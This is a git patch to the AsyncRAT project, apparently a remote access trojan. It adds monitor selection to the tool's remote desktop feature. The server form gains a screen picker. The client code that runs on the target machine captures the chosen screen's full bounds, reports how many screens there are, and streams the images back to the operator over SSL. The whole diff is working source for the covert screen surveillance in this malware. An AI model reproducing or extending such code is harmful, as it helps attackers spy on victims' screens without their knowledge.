From c51c9b8ca2952599a3dbaf9d2522ca1f538621b2 Mon Sep 17 00:00:00 2001 From: thi67 Date: Fri, 17 May 2019 17:41:06 +0200 Subject: [PATCH] Update Remote Desktop - Change WorkingArea to Bounds for fullscreen - Add NumericUpDown for select screen source - Add Client variable to send the number of screen available to the server --- .../Forms/FormRemoteDesktop.Designer.cs | 73 +++++++++++++++---- .../AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs | 3 + .../Handle Packet/HandleRemoteDesktop.cs | 3 + .../Handle Packet/HandleRemoteDesktop.cs | 12 +-- AsyncRAT-C#/Client/Handle Packet/Packet.cs | 2 +- 5 files changed, 73 insertions(+), 20 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs index 18f5b91..3f01a91 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs @@ -37,17 +37,21 @@ this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); this.button1 = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button(); + this.label2 = new System.Windows.Forms.Label(); + this.numericUpDown2 = new System.Windows.Forms.NumericUpDown(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.panel1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); this.SuspendLayout(); // // pictureBox1 // this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; this.pictureBox1.Location = new System.Drawing.Point(0, 0); + this.pictureBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(710, 399); + this.pictureBox1.Size = new System.Drawing.Size(473, 266); this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.pictureBox1.TabIndex = 0; this.pictureBox1.TabStop = false; @@ -60,21 +64,25 @@ // panel1 // this.panel1.BackColor = System.Drawing.Color.Transparent; + this.panel1.Controls.Add(this.label2); + this.panel1.Controls.Add(this.numericUpDown2); this.panel1.Controls.Add(this.label1); this.panel1.Controls.Add(this.numericUpDown1); this.panel1.Controls.Add(this.button1); this.panel1.Dock = System.Windows.Forms.DockStyle.Top; this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); this.panel1.Name = "panel1"; - this.panel1.Size = new System.Drawing.Size(710, 38); + this.panel1.Size = new System.Drawing.Size(473, 25); this.panel1.TabIndex = 1; // // label1 // this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(130, 8); + this.label1.Location = new System.Drawing.Point(87, 6); + this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(78, 20); + this.label1.Size = new System.Drawing.Size(53, 13); this.label1.TabIndex = 2; this.label1.Text = "QUALITY"; // @@ -87,14 +95,15 @@ 0, 0, 0}); - this.numericUpDown1.Location = new System.Drawing.Point(214, 7); + this.numericUpDown1.Location = new System.Drawing.Point(143, 3); + this.numericUpDown1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); this.numericUpDown1.Minimum = new decimal(new int[] { 20, 0, 0, 0}); this.numericUpDown1.Name = "numericUpDown1"; - this.numericUpDown1.Size = new System.Drawing.Size(82, 26); + this.numericUpDown1.Size = new System.Drawing.Size(55, 20); this.numericUpDown1.TabIndex = 1; this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left; @@ -106,9 +115,10 @@ // // button1 // - this.button1.Location = new System.Drawing.Point(6, 4); + this.button1.Location = new System.Drawing.Point(4, 3); + this.button1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(107, 29); + this.button1.Size = new System.Drawing.Size(71, 19); this.button1.TabIndex = 0; this.button1.Text = "STOP"; this.button1.UseVisualStyleBackColor = true; @@ -119,24 +129,58 @@ this.button2.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.arrow_up; this.button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.button2.Location = new System.Drawing.Point(304, 44); + this.button2.Location = new System.Drawing.Point(203, 29); + this.button2.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); this.button2.Name = "button2"; - this.button2.Size = new System.Drawing.Size(18, 18); + this.button2.Size = new System.Drawing.Size(12, 12); this.button2.TabIndex = 2; this.button2.Text = " "; this.button2.UseVisualStyleBackColor = true; this.button2.Click += new System.EventHandler(this.Button2_Click); // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(200, 6); + this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(51, 13); + this.label2.TabIndex = 4; + this.label2.Text = "SCREEN"; + // + // numericUpDown2 + // + this.numericUpDown2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.numericUpDown2.Enabled = false; + this.numericUpDown2.Increment = new decimal(new int[] { + 10, + 0, + 0, + 0}); + this.numericUpDown2.Location = new System.Drawing.Point(256, 3); + this.numericUpDown2.Margin = new System.Windows.Forms.Padding(2); + this.numericUpDown2.Maximum = new decimal(new int[] { + 0, + 0, + 0, + 0}); + this.numericUpDown2.Name = "numericUpDown2"; + this.numericUpDown2.Size = new System.Drawing.Size(42, 20); + this.numericUpDown2.TabIndex = 3; + this.numericUpDown2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + this.numericUpDown2.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left; + // // FormRemoteDesktop // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(710, 399); + this.ClientSize = new System.Drawing.Size(473, 266); this.Controls.Add(this.button2); this.Controls.Add(this.panel1); this.Controls.Add(this.pictureBox1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MinimumSize = new System.Drawing.Size(658, 448); + this.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.MinimumSize = new System.Drawing.Size(444, 305); this.Name = "FormRemoteDesktop"; this.Text = "RemoteDesktop"; this.Load += new System.EventHandler(this.FormRemoteDesktop_Load); @@ -145,6 +189,7 @@ this.panel1.ResumeLayout(false); this.panel1.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); this.ResumeLayout(false); } @@ -158,5 +203,7 @@ private System.Windows.Forms.Button button1; private System.Windows.Forms.Button button2; public System.Windows.Forms.NumericUpDown numericUpDown1; + private System.Windows.Forms.Label label2; + public System.Windows.Forms.NumericUpDown numericUpDown2; } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs index 05dca00..83642e5 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs @@ -66,15 +66,18 @@ namespace AsyncRAT_Sharp.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value); + msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value); decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value)); ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); numericUpDown1.Enabled = false; + numericUpDown2.Enabled = false; button1.Text = "STOP"; } else { button1.Text = "START"; numericUpDown1.Enabled = true; + numericUpDown2.Enabled = true; try { C2.ClientSocket.Dispose(); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs index 2e4451c..cd5d755 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs @@ -33,6 +33,9 @@ namespace AsyncRAT_Sharp.Handle_Packet byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); + int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); + RD.numericUpDown2.Maximum = Screens - 1; + if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) { RD.pictureBox1.Image = (Bitmap)decoded; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs index 6541124..33a4aee 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs @@ -18,7 +18,7 @@ namespace Client.Handle_Packet { public class HandleRemoteDesktop { - public void CaptureAndSend(int quality) + public void CaptureAndSend(int quality, int Scrn) { try { @@ -37,7 +37,7 @@ namespace Client.Handle_Packet while (Client.Connected) { if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected) break; - Bitmap bmp = GetScreen(); + Bitmap bmp = GetScreen(Scrn); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); Size size = new Size(bmp.Width, bmp.Height); BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); @@ -51,7 +51,7 @@ namespace Client.Handle_Packet msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("ID").AsString = hwid; msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); - + msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length); SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); SslClient.Write(msgpack.Encode2Bytes()); SslClient.Flush(); @@ -64,14 +64,14 @@ namespace Client.Handle_Packet catch { } } - private Bitmap GetScreen() + private Bitmap GetScreen(int Scrn) { - Rectangle rect = Screen.AllScreens[0].WorkingArea; + Rectangle rect = Screen.AllScreens[Scrn].Bounds; try { Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb); Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot); - gfxScreenshot.CopyFromScreen(0, 0, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy); + gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy); gfxScreenshot.Dispose(); return bmpScreenshot; } diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index 6faef7f..541eb32 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -115,7 +115,7 @@ namespace Client.Handle_Packet case "remoteDesktop": { HandleRemoteDesktop remoteDesktop = new HandleRemoteDesktop(); - remoteDesktop.CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger)); + remoteDesktop.CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger)); break; }